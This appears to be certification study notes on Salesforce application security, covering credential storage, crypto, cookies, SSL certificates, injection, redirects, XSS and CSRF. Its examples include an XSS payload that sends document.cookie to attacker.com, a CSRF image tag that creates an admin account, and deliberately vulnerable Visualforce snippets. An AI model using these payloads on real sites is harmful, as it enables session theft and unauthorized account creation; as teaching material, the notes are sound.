Nothing Special   »   [go: up one dir, main page]

Salesforce Security Notes For Certification

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 7

Technical notes for Security

Developing a secure application is critical for services connected to salesforce.com. To do this, there are a number of important items your organization should consider. Software Development Lifecycle Management -- Adherence to relevant policies is critical. Comply with your software development and change control policies. Also, ensure that your policies include appropriate code reviews, testing, and a strict methodology for rolling code to production, including appropriate segregation of duties that ensures that application development personnel do not have privileged access to the production environment. Salesforce.com login Credentials If you must store passwords (including non-Salesforce passwords), note that storing them in plaintext or hashed (such as with the MD5 function) makes your application vulnerable to mass user exploitation. Developers have historically used a cryptographic hash function, a one-way function that is (supposedly) computationally infeasible to reverse. They then store the hash output. However, there is a problem with this scheme: the attacker can easily pre-compute the hashes of a large password dictionary. To address this problem, developers have historically salted the hash There are two ways to protect sensitive data within Force.com: Custom Settings o Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. However, setting the visibility of the Custom Setting Definition to Protected and including it in a managed package ensures that its only accessible programmatically via Apex code that exists within your package. o In order to allow authorized users to create and update sensitive information, create a Visualforce page that only accepts input and does not render the value back on the page. The transient keyword should be used to declare instance variables within Visualforce controllers to ensure they are not transmitted as part of the view state.

Apex Crypto Functions o The Apex crypto class provides algorithms for creating digests, MACs, signatures and AES encryption. When using the crypto functions to implement AES encryption, keys must be generated randomly and stored securely in a Protected Custom Setting. Never hardcode the key in within an Apex class. o A message digest algorithm takes a single input -- a message -- and produces a "message digest" (aka hash) which allows you to verify the integrity of the message: Any change to the message will (ideally) result in a different hash being generated. An attacker that can replace the message and digest is fully capable of replacing the message and digest with a new valid pair. A MAC algorithm takes two inputs -- a message and a secret key -- and produces a MAC which allows you to verify the integrity and the authenticity of the message: Any change to the message or the secret key will (ideally) result in a different MAC being generated. Nobody without access to the secret should be able to generate a MAC calculation that verifies; in other words a MAC can be used to check that the MAC was generated by a party that has access to the secret key.

Encrypted Custom Fields -o Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted with 128-bit keys and use the AES algorithm. The value of an encrypted field is only visible to users that have the View Encrypted Data permission. o The disadvantage of this method to protect data is that you must request salesforce.com to enable encrypted fields on a perorg basis. Additionally, such fields are always accessible by administrative users.

Hash Digests -- For implementing Data Integrity. 1. Sender uses One way Cryptographic function to generate a Digest A from given data. 2. Receiver generates the Digest B from the received data using the same algorithm and compares with above Digest A. 3. A = B represents Data Integrity. Hash Based Message Authentication Codes (MAC) -- For implementing Data Integrity and Authenticity.(Symmetric approach). 1. Sender generates Digest A and encrypts with a private Key K 2. Receiver decrypts the Digest A with the same private Key K. Generates the Digest B from received data. 3. A = B represents Data Integrity. 4. As users share the same primary key, Data Authenticity is verified. Digital Signature -- For implementing Data Integrity and Authenticity using Asymmetric approach.

1. 2. 3. 4.

Sender generates a message digest A and encrypts it using a private key. Receiver then decrypts Digest A using a public key and compares it with the digest generated from the received message, say digest B. A = B represents Data Integrity. As sender used the primary key, Data Authenticity is verified.

As a general rule, do not store login credentials outside of the salesforce.com service. Instead, re-use the session ID in the resulting API calls. Never pass credentials in the URL directly. If the integration requires storage of salesforce.com admin login credentials, typically for performing batch calls and other asynchronous operations, the best practice is to request the customer to create a profile that can only login from the IP address of the server doing the synchronization. You must instruct your customers to provide a distinct API user and assign this user to that profile (additional cost may apply). Password Encryption - Passwords should be encrypted using a modern symmetric encryption algorithm such as AES, 3DES, Blowfish which uses a key strength greater than 128 bits or an asymmetric encryption algorithm such as RSA which uses a key strength of 1024 bits. Use secure locations to store the key such as Java Keystore, which requires a password supplied by a user to be opened. Other suitable locations include Windows registry as long as there are ACLs (Access Control Lists) in place on the relevant registry key. ASP.NET provides access to the Windows CryptoAPIs and Data Protection API (DPAPI). The strongest solution would be to rely on a hardware solution for securely storing cryptographic keys, such as a cryptographic smartcard or Hardware Security Module (HSM). Encryption keys should be changed on a periodic basis and should not be reused across different environments such as testing, QA and production. The keys should be known or accessible by a restricted number of people and the keys should be stored in such a way as to prevent unauthorized access to the key material. If the keys are backed up, then all backup media should be stored in secure location. If you persist customer data outside of the salesforce.com service (either through synchronization or by storing the users password), disclose this information to the customer and state this clearly in the terms of use and privacy policy for your application. Since passwords can be set to expire at variable intervals, you must handle invalid password exceptions in a manner that does not interfere with the standard use of salesforce.com. Obfuscate the password and do not store it outside of salesforce.com. Draw the users attention to the fact that they should look for the salesforce.com URL and other distinguishing features to avoid getting phished.

Avoid Dynamic SQL Putting characters like single quotes and dashes into form fields and looking for database error messages will find the most obvious SQL injection flaws. If you choose to use Dynamic SQL anyway, please communicate that to the person performing the security review and be prepared with a detailed rationale for doing so and your methodology for minimizing the risk to customer data. Verify that all queries that include user data are built using bind variables instead of string concatenation. To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and bind variables. If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. Input Validation - Perform validation on all input fields. Successful attacks on applications frequently are the result of unforeseen input being accepted by the system and then leaving it up to the application or database server to figure out how to deal with it. Perform security by design and ensure that your application is protected from common application vulnerabilities such as SQL injection, cross-site scripting, buffer overflow etc. Logging in via the API - If you use a Custom Link (or S-Control) to invoke an external operation and the external system requires API access to the Salesforce.com platform, ensure that you pass the serverUrl and current session ID as query parameters (implemented as a merge field) to obviate the need for the login call. If you exercise the login() call, be sure to call the single logon server (https://www.salesforce.com) and not any of the service instances directly. There should be only one login per session and salesforce.com will return a session ID to you upon successful login. The session length is based on the organization setting (between 30 minutes and 8 hours). The session expires a set time after it is created and it is not an idle timeout. SSL (HTTPS) Always use HTTPS (SSL v3 and newer versions) as the transport for communication with the Web service.

HTTP-Only cookies - Microsoft introduced a new option for cookies in Internet explorer 6 SP1: HTTP-only cookies. The idea
behind HTTP-only cookies is to instruct a browser that a cookie should never be accessible via JavaScript through the document.cookie property. This feature was designed as a security measure to help prevent cross-site scripting (XSS) attacks perpetrated by stealing cookies via JavaScript.

To create an HTTP-only cookie, just add an HttpOnly flag to your cookie: This flag is set, there is no access via document.cookie to this cookie. Internet Explorer also goes a step further and doesnt allow access to this header using the getAllResponseHeaders() or getResponseHeader() methods on XMLHttpRequest while other browsers still permit it.

Set-Cookie: name=Nicholas; HttpOnlyOnce

The secure option Secure is just a flag and has no additional value specified. A secure cookie will only be sent to the server when a
request is made using SSL and the HTTPS protocol. The idea that the contents of the cookie are of high value and could be potentially damaging to transmit as clear text. Sample: Set-Cookie: name=Nicholas; secure In reality, confidential or sensitive information should never be stored or transmitted in cookies as the entire mechanism is inherently insecure. By default, cookies set over an HTTPS connection are automatically set to be secure.

There are a few ways to prevent session hijacking using cookies. The first, and most common technique among the security-conscious, is to only send cookies over SSL. Since SSL encrypts the request on the browser before transmitting across the Internet, packet sniffing alone cant be used to identify the cookie value. Banks and stores use this technique frequently since user sessions are typically short in duration. Another technique is to generate a session key in some random fashion and/or a way that is based on information about the user (username, IP address, time of login, etc.). This makes it more difficult to reuse a session key, though doesnt make it impossible. Yet another technique is to re-validate the user before performing an activity deemed to be of a higher security level, such as transferring money or completing a purchase. For example, many sites require you to log in a second time before changing a password.

Even if your site does not have an HTTP version, malicious parties on the network may be able to steal session cookies. For example, the attacker may insert references to HTTP URLs to your application into sites that your users are likely to visit. Assume your application is https://app.example.com, and your users frequent a discussion forum/blog at http://exampleappblog.com. ExampleAppBlog allows commenters to include limited HTML in their posts, including img tags. A commenter inserts HTML into one of their comments like the following: view sourceprint? 1 <img src="<A class="external free" title=http://app.example.com/example-logo.png href="http://app.example.com/examplelogo.png" rel=nofollow>http://app.example.com/example-logo.png</A>" /> When a user authenticated to app.example.com views this comment, their browser will fire off a request for example-logo.png over an insecure HTTP connection. Since the app.example.com cookie was not set Secure, the browser will include the cookie over this connection exposing it to the network.

SSL and Certificates


1. 2. 3. 4. 5. 6. 7. A browser requests a secure page (usually https://). The web server sends its public key with its certificate. The browser checks that the certificate was issued by a trusted party (usually a trusted root CA), that the certificate is still valid and that the certificate is related to the site contacted. The browser then uses the public key, to encrypt a random symmetric encryption key and sends it to the server with the encrypted URL required as well as other encrypted http data. The web server decrypts the symmetric encryption key using its private key and uses the symmetric key to decrypt the URL and http data. The web server sends back the requested html document and http data encrypted with the symmetric key. The browser decrypts the http data and html document using the symmetric key and displays the information.

With SSL, the entire communication between the client and the server is encrypted using PKI and only the client can decrypt the information sent by the server and vice versa. But how does the user verify that the information did originate from the server that it is talking to. The SSL certificate or simply a certificate enables the server to prove its identity so that the client can trust the public key that the server exchanges with the client. Once the client verifies that it is indeed talking to the server, all the

traffic between the client and the server can be encrypted with a trusted key verified by a registered and trusted independent third party. This third party is called as the Certificate Authority and they issue the certificates which certifies that the public key is owned by the same entity who is named in the certificate. In a typical communication between a server and a client, it is the server which has to prove its identity to the client. Salesforce will accept only certificates signed by public CA for one-way SSL/certificate authentication setup, where salesforce is a client consuming web services hosted elsewhere. It does support self-signed certificates in two-way SSL/certificate scenario, provided, the self-signed certificate is installed in the Key Store of the corresponding web server. Salesforce has a set of IP ranges and the request may arrive from any of these IP addresses. There is no distinction on the requests to indicate the salesforce organization from where the request originated - these IP address ranges has to be added to your firewall to restrict the access to salesforce.com servers. If someone knows your endpoint who also is a salesforce user (from a different company; for that matter, it can be an individual from salesforce DE user), then he can very well invoke your web services, provided, you do not have other forms of authentication, built into your orchestration - solution available which is the two-way SSL/certificates based authentication. Two-way SSL in action: A Sample Scenario - Company wants to make it easy for sales reps to check invoice status inside an application running on Force.com. Invoices are managed by an on-premise enterprise application and the IT department has agreed to provide limited read-only access via an HTTP XML service as long as the service is properly secured. The security policy requires that the remote client authenticates itself with a certificate signed by an internal certificate authority. The method setClientCertificateName on the HttpRequest will now be called with certificate name as argument. This method, added in the Spring '10 release, allows you to use client certificates created in the Certificate Management Setup Page for Apex callouts by referencing their unique name Self-signed - A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates. CA-signed - A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version of the certificate before you can use it. It is possible to create circular changes with outbound messaging. For example, if a user is performing integrations that trigger workflow, and the workflow actions trigger account updates, those account updates trigger new workflow, and so on. In order to prevent these circular changes, you can disable a user's ability to send outbound messages. In public key infrastructure (PKI) systems, a certificate signing request (also CSR or certification request) is a message sent from an applicant to a certificate authority in order to apply for a digital identity certificate. Your application (endpoint) server's SSL/TLS may be configured to require client certificates (two-way SSL/TLS), in order to validate the identity of the Salesforce server when it takes the role of client to your server. If this is the case, you can download the Salesforce client certificate from the Salesforce application user interface. You can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user. If you want to use certificates to ensure secure connections using other Salesforce features, such as Apex callouts, use Salesforce certificates and key pairs.

General Guidance
Try to use HTTPS exclusively for your web application. It is difficult to properly secure sites that use HTTP for some features or pages. If HTTP is necessary, make the HTTP-accessible features unauthenticated or create a different session identifier for that portion of the site that is not tied to the secure session identifier. If your site or application has secure and insecure modes, Salesforce.com users must be automatically opted-in to use the secure version exclusively. If the solution renders data in the salesforce.com UI (Custom Link or S-Control), SSL-enable the site using a valid certificate so as to avoid the browser warning of crossing mixed security zones. Keep session cookie expiration times low (10 20 minutes). Do not store secret information like a users password in cookies, and do not store information about user privilege levels (e.g. admin=true) as it may be subject to tampering.

Many composite Force.com applications implement a form of Single-Sign-On (SSO) between Force.com and the external application. This transaction requires a minimum of two parameters in order to authenticate the external application. The first parameter is the API Session ID (SID), which is considered sensitive and is equivalent to a login and password. The SID is generated on a per session basis when a user logs in. The second is the API Partner Server URL (SOAP Endpoint). The API Partner Server URL is the URL of the SOAP endpoint that is associated with the users instance of Salesforce. Applications will then utilize the SID to represent that user in future API requests and the SOAP Endpoint to communicate with the appropriate API server. There are two main security concerns that should be taken into consideration for single sign on transactions in this situation. o Because the SID is equivalent to a password steps should be taken to protect it from interception in transit. SSL (HTTPS) should be enforced for any transactions that transmit the SID, and the certificate should be evaluated to ensure that it is a valid salesforce.com certificate. This includes pages that could transmit the SID through the Referrer header. The API Session ID should never be transmitted to 3rd party sites such as Google Analytics. o The API Partner Server URL (SOAP Endpoint) is used to authenticate the application using the SID. An attacker can spoof the URL that includes the API Partner Server URL and SID and simply change the API Partner Server URL to a non-Salesforce server. The attacker, thus imitating a Salesforce endpoint can use this to steal any data that is sent to the malicious server. In order to prevent authentication and data transmission through a rogue endpoint, the API Partner Server URL should be validated to be a legitimate Salesforce.com SOAP Server. The regular expression to validate legitimate API Partner Server URL servers https://[^/?]+\\.(sales|visual\\.)force\\.com/services/(S|s)(O|o)(A|a)(P|p)/(u|c)/.*

Configuring Web and Application Servers for Strong SSL Cipher Suites. Arbitrary Redirect - The problem arises when the application will redirect users to any URL indiscriminately. This allows attackers to craft URLs that may look legitimate, but which actually hide an attack. The general solution to the problem is to constrain the range of URLs to which your redirector will redirect. Constraining URLs by hostname is easy; the best way to do it is by keeping a list of known-good hostnames and checking that a URLs hostname matches one in the list. You can also limit by known-good schemes and by known-good paths (perhaps using a regular expression). Depending on your application and on your application framework, arbitrary redirects may also create a response splitting vulnerability: if the attacker provides %0d%0a (\r\n) in the right request parameter, and those characters make it into the HTTP Location: header, the attacker can control HTTP headers after the insertion point and can control the HTTP response body. Potential areas where an organization's CRUD and FLS settings can be violated are: o Objects or field values are referenced as generic data types or data is copied to other elements. o Passing custom Apex classes that copy or wrap SObject data to VisualForce pages. o All Apex web services. o SObject updates, creates, or deletes done within Apex controllers or extensions. Any application performing creates/updates/deletes in Apex code, passing data types other than SObjects to VisualForce pages, or using Apex web services should be checked that it is calling the appropriate access control functions. Merge fields referencing SObject data through other objects like strings, integers, or Apex classes require that the page controller or controller extension perform the appropriate access control check. The easiest way to enforce CRUD/FLS is to perform operations in VisualForce and to operate directly on SObjects and fields. In this mode, VisualForce will automatically enforce an organization's CRUD and FLS settings. For applications where this is not possible, Apex provides a number of methods on the object or field describe result (i.e. the object returned from the getDescribe() call).

Site Scripting (XSS)


The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. <script> var foo = '{!$CurrentPage.parameters.userparam}'; </script> Value of userparam: 1';document.location='http://www.attacker.com/cgibin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

<script> var foo = '1'; document.location='http://www.attacker.com/cgibin/cookie.cgi?'+document.cookie; var foo='2'; </script> Existing Protection o All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen. <apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText> Disabling Escape on Visualforce Tags o By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks: <apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" /> Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. o Custom JavaScript - If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript. <script> var foo = location.search; document.write(foo); </script> o <apex:includeScript> - The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website. <apex:includeScript value="{!$CurrentPage.parameters.userInput}" /> o Formula Tags - The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include a user's session ID in a link, they could create the link using the following syntax:

Which renders output similar to the following:

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters. The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this: <img src=http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin..... height=1 width=1 /> In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. The developer unknowingly bypass the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.